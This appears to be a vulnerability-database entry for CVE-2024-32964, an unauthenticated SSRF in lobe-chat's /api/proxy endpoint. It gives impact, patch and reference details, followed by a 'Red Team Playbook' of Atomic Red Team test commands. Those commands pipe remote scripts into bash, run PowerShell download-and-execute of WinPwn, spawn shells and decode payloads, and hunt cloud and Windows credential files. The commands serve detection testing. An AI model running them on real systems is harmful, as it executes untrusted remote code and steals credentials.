CVE-2024-32964
Overview
The vulnerability is an unauthorized Server-Side Request Forgery (SSRF) in the lobe-chat product's /api/proxy endpoint. The root cause lies in insufficient validation and access control on the proxy functionality, allowing crafted HTTP requests to be forwarded by the server. This flaw affects the proxy component of the lobe-chat chatbot framework prior to version 0.150.6, enabling external manipulation of internal request routing.
Vulnerability Description
Lobe Chat is a chatbot framework that supports speech synthesis, multimodal, and extensible Function Call plugin system. Prior to 0.150.6, lobe-chat had an unauthorized Server-Side Request Forgery vulnerability in the /api/proxy endpoint. An attacker can construct malicious requests to cause Server-Side Request Forgery without logging in, attack intranet services, and leak sensitive information.
Impact
An unauthenticated attacker can exploit the SSRF vulnerability to access internal network services and retrieve sensitive information, bypassing network segmentation. The attack requires no user interaction and leverages the network access of the vulnerable server (AV:N/AC:L/PR:H/UI:N). This can lead to lateral movement within the target environment, data exfiltration, and disruption of internal services, as indicated by the CVSS vector's high confidentiality and availability impacts (C:H/A:H).
Solution
Upgrade lobe-chat to version 0.150.6 or later, which contains the fix for the SSRF vulnerability as detailed in the GitHub security advisory GHSA-mxhq-xw3g-rphc. The patch, referenced in commit 465665a735556669ee30446c7ea9049a20cc7c37, enforces proper validation and authorization on the /api/proxy endpoint. Administrators should follow the vendor's advisory instructions available at https://github.com/lobehub/lobe-chat/security/advisories/GHSA-mxhq-xw3g-rphc for complete remediation steps.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The unauthorized Server-Side Request Forgery (SSRF) vulnerability in the Lobe Chat framework presents a significant risk to organizations utilizing this chatbot technology. SSRF vulnerabilities allow attackers to send crafted requests from the server to internal or external resources, bypassing client-side security measures. In this case, the flaw resides in the /api/proxy endpoint, which fails to properly validate incoming requests. This oversight enables an attacker to manipulate the server into making requests to internal services that should be inaccessible from the outside. Such a weakness can lead to unauthorized access to sensitive data, including internal APIs, databases, or other services that are not intended to be exposed to the public internet.
Exploitation of this vulnerability can occur in various ways. An attacker could craft a request that targets internal network services, potentially gaining access to sensitive resources such as metadata services in cloud environments, which may expose credentials or other sensitive information. Additionally, the attacker could leverage this capability to perform further attacks, such as port scanning or service enumeration, to identify additional vulnerabilities within the internal network. Without requiring authentication, the barrier to entry for attackers is significantly lowered, making it easier for malicious actors to exploit this vulnerability without needing to compromise user accounts or credentials.
The real-world impact of this vulnerability can be profound, particularly for organizations relying on Lobe Chat for customer interactions or internal communications. The potential for data leakage poses a direct threat to the confidentiality and integrity of sensitive information. If an attacker successfully exploits this vulnerability, they could gain access to internal services, leading to data breaches that could result in regulatory fines, loss of customer trust, and reputational damage. Moreover, the financial implications of such breaches can be substantial, as organizations may face costs associated with incident response, legal fees, and potential compensation claims from affected parties.
To detect and mitigate the risks associated with this vulnerability, organizations should implement several strategies. First, it is crucial to apply security patches and updates provided by the vendor to ensure that the affected version of the Lobe Chat framework is no longer in use. Regularly reviewing and updating software components can significantly reduce the attack surface. Additionally, organizations should employ web application firewalls (WAFs) to monitor and filter incoming requests, blocking any suspicious activity that may indicate an SSRF attempt. Network segmentation can also be an effective strategy, ensuring that sensitive internal services are isolated from public-facing applications, thereby reducing the potential impact of a successful exploitation.
Furthermore, organizations should conduct regular security assessments, including penetration testing and vulnerability scanning, to identify and remediate potential weaknesses in their systems. Implementing robust logging and monitoring solutions can help detect unusual patterns of behavior that may indicate an ongoing attack, allowing for a swift response. By adopting a proactive approach to security and fostering a culture of awareness among employees regarding the risks associated with SSRF vulnerabilities, organizations can better protect themselves against the threats posed by such vulnerabilities in the Lobe Chat framework and similar technologies.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Lobehub | Lobe Chat | All |
cpe:2.3:a:lobehub:lobe_chat:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-664 | Server Side Request Forgery |
30%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-32964 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/lobehub/lobe-chat/security/advisories/GHSA-mxhq-xw3g-rphc |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/lobehub/lobe-chat/commit/465665a735556669ee30446c7ea9049a20cc7c37 |